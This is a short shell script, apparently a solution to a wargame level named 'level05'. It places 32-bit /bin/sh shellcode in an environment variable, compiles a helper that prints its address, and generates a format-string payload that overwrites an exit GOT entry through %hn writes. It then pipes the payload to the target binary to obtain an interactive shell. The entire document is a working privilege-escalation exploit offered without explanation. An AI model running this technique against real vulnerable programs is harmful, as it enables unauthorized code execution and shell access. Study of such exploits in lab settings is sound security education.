#!/bin/sh

export SHELLCODE="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80"

printf '
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
	printf(\"%%x\", (unsigned int)getenv(\"SHELLCODE\"));
	return 0;
}' > /tmp/env.c

gcc -m32 /tmp/env.c -o /tmp/a.out
/tmp/a.out > /tmp/shellcode_addr

printf '
with open("/tmp/shellcode_addr") as f: shellcode_addr = f.read()

exit_addr_low = "\\x08\\x04\\x97\\xe0"[::-1]
exit_addr_high = "\\x08\\x04\\x97\\xe2"[::-1]
shellcode_low = int(shellcode_addr[4:], 16) - 8
shellcode_high = int(shellcode_addr[:4], 16) - shellcode_low - 8

payload = "%%{0}d%%10$hn%%{1}d%%11$hn".format(shellcode_low, shellcode_high)
exploit = exit_addr_low + exit_addr_high + payload

print(exploit)
' > /tmp/exploit.py

(python /tmp/exploit.py; cat) | ./level05
